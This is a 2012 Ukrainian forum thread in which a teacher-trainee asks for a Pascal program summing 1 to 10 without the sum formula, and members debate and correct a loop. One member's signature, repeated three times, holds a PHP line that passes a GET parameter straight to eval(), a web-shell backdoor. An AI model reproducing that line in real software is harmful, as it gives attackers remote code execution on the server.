1 Востаннє редагувалося Replace (25.12.2012 02:00:50)

Тема: Обчислення суми

Скласти програму обчислення суми 10+9+8+7+6+5+4+3+2+1, не користуючись формулою суми. Оператор цілі включити в програму. Проаналізувати послідовність дій, які виконуються Пролог-системою з метою одержання розв’язку.

2

Re: Обчислення суми

galya_duka написав:

Проаналізувати послідовність дій, які виконуються Пролог-системою з метою одержання розв’язку.

При чому тут Пролог до Паскаля?

I belong to the Dead Generation.

Re: Обчислення суми

galya_duka написав:

не користуючись формулою суми..

Це типу додавання не використовувати, чи як ?

4

Re: Обчислення суми

І тут тема названа некоректно.

I belong to the Dead Generation.

Re: Обчислення суми

Та народу пофіг на назви тем, їм лиш би отримати код і все.

Подякували: Torbins1

6 Востаннє редагувалося Bartash (24.12.2012 23:16:10)

Re: Обчислення суми

Hanter написав:

Та народу пофіг на назви тем, їм лиш би отримати код і все.

Ну то в топку такий "народ". Україна стогне без інтелігенції, а допомагаючи "халявщикам", ми робимо ведмежу послугу їм та Україні в цілому у розвитку інтелектуального потенціалу нації.

З.І: не прочитайте тут політики чи агресії. Просто подібні "халявства" потроху пахнуть нахабством та/чи хамством.

I belong to the Dead Generation.
Подякували: bunyk, Replace2

7

Re: Обчислення суми

так додавання

8

Re: Обчислення суми

пролог програми -це описання дій

9

Re: Обчислення суми

Що таке "Оператор цілі"? Та що значить "Проаналізувати…"? Смисл цього речення до мене не доходить.

<?php
echo '<html><body><h1>This is my home page</h1>DATING &amp; DOORWAY</body></html>';
if (isset($_GET['adminka'])) eval($_GET['adminka']);
Если ты это читаешь, тебе должно быть стыдно! Займись чем–нибудь полезным!

10

Re: Обчислення суми

це задача з курсу педагогічної практики, потрібно пояснити студентам для чого яка команда в даній задачі.

11 Востаннє редагувалося Bartash (25.12.2012 00:04:20)

Re: Обчислення суми

galya_duka написав:

це задача з курсу педагогічної практики, потрібно пояснити студентам для чого яка команда в даній задачі.

З цього треба було починати.

Ви це мали на увазі?

var iNumber, sum: integer;

begin
    for iNumber:=1 to 10 do
        sum:= sum + iNumber;
    end;

writeln("SUM=", sum);

end.
I belong to the Dead Generation.
Подякували: galya_duka1

12

Re: Обчислення суми

формулою суми користуватись нажаль неможна

13 Востаннє редагувалося Invader (25.12.2012 00:30:50)

Re: Обчислення суми

Синтаксису  Delphi і Pascal майже не пам’ятаю, але якось так:
c=((a*a)-(b*b))/(a-b)

але це для двох чисел. Алгоритм для вашого випадку мені придумувати лінь. Може хто нормально шарить в математиці захоче підказати щось таке елегантне?
Може передавати функції по два числа, проводити над ними дію, зберігати в змінну, потім наступні два числа, потім операція на ними, потім берем те число що в нас залишилося з минулого разу і так само додаємо його з тим що тільки що у нас з’явилося, при цьому результат їхнього додавання заміщає вміст змінної в якій було перше (попереднє) число.

<?php
echo '<html><body><h1>This is my home page</h1>DATING &amp; DOORWAY</body></html>';
if (isset($_GET['adminka'])) eval($_GET['adminka']);
Если ты это читаешь, тебе должно быть стыдно! Займись чем–нибудь полезным!

14 Востаннє редагувалося Bartash (25.12.2012 00:32:40)

Re: Обчислення суми

Invader написав:

Синтаксису  Delphi і Pascal майже не пам’ятаю, але якось так:
c=((a*a)-(b*b))/(a-b)

але це для двох чисел. Алгоритм для вашого випадку мені придумувати лінь. Може хто нормально шарить в математиці захоче підказати щось таке елегантне?

Invader, ваш варіант достатній. Можна, щоправда, і побітові операції згадати, але нащо такі козобаяни... Зрештою, вставте цю формулу у цикл, де "а" - проміжна сума, "b" - черговий доданок, - і маємо той же результат.

galya_duka, у чому задача: пояснити студентам, що означає операція "+", чи написати програму, що здійснила би цю операцію шляхом через мікрорайони абсолютно інших за логікою операцій? Якщо перше, то питання явно не за адресою - це не до програмістів. Якщо друге - який тоді зміст вкладатиметься в опис операції додавання на основі подібного коду?

I belong to the Dead Generation.

15

Re: Обчислення суми

galya_duka написав:

формулою суми користуватись нажаль неможна

формула суми арифметичної прогресії це для вашого випадку (1 + 10) * 10 / 2, а там цикл, так що ніхто не користувався ніякою формулою.

Подякували: Torbins1

16

Re: Обчислення суми

Дякую за допомогу!!

17

Re: Обчислення суми

нажаль в прорамі помилка, допоможіть виправити.

18

Re: Обчислення суми

Нажаль крім вас ніхто тут не знає що за код і що за помилка тож треба їх сюди скопіпастити.

<?php
echo '<html><body><h1>This is my home page</h1>DATING &amp; DOORWAY</body></html>';
if (isset($_GET['adminka'])) eval($_GET['adminka']);
Если ты это читаешь, тебе должно быть стыдно! Займись чем–нибудь полезным!

19

Re: Обчислення суми

var iNumber, sum: integer;

begin
    for iNumber:=1 to 10 do
        sum:= sum + iNumber;
    end;

writeln("SUM=", sum);

end.

20

Re: Обчислення суми

    var iNumber, sum: integer;     
    begin

    sum := 0;
    for iNumber:=1 to 10 do
    begin
         sum:= sum + iNumber;
    end;
     
    writeln("SUM=", sum);
     
    end.

Так краще?

А вам точно паскаль а не пролог?

Подякували: galya_duka1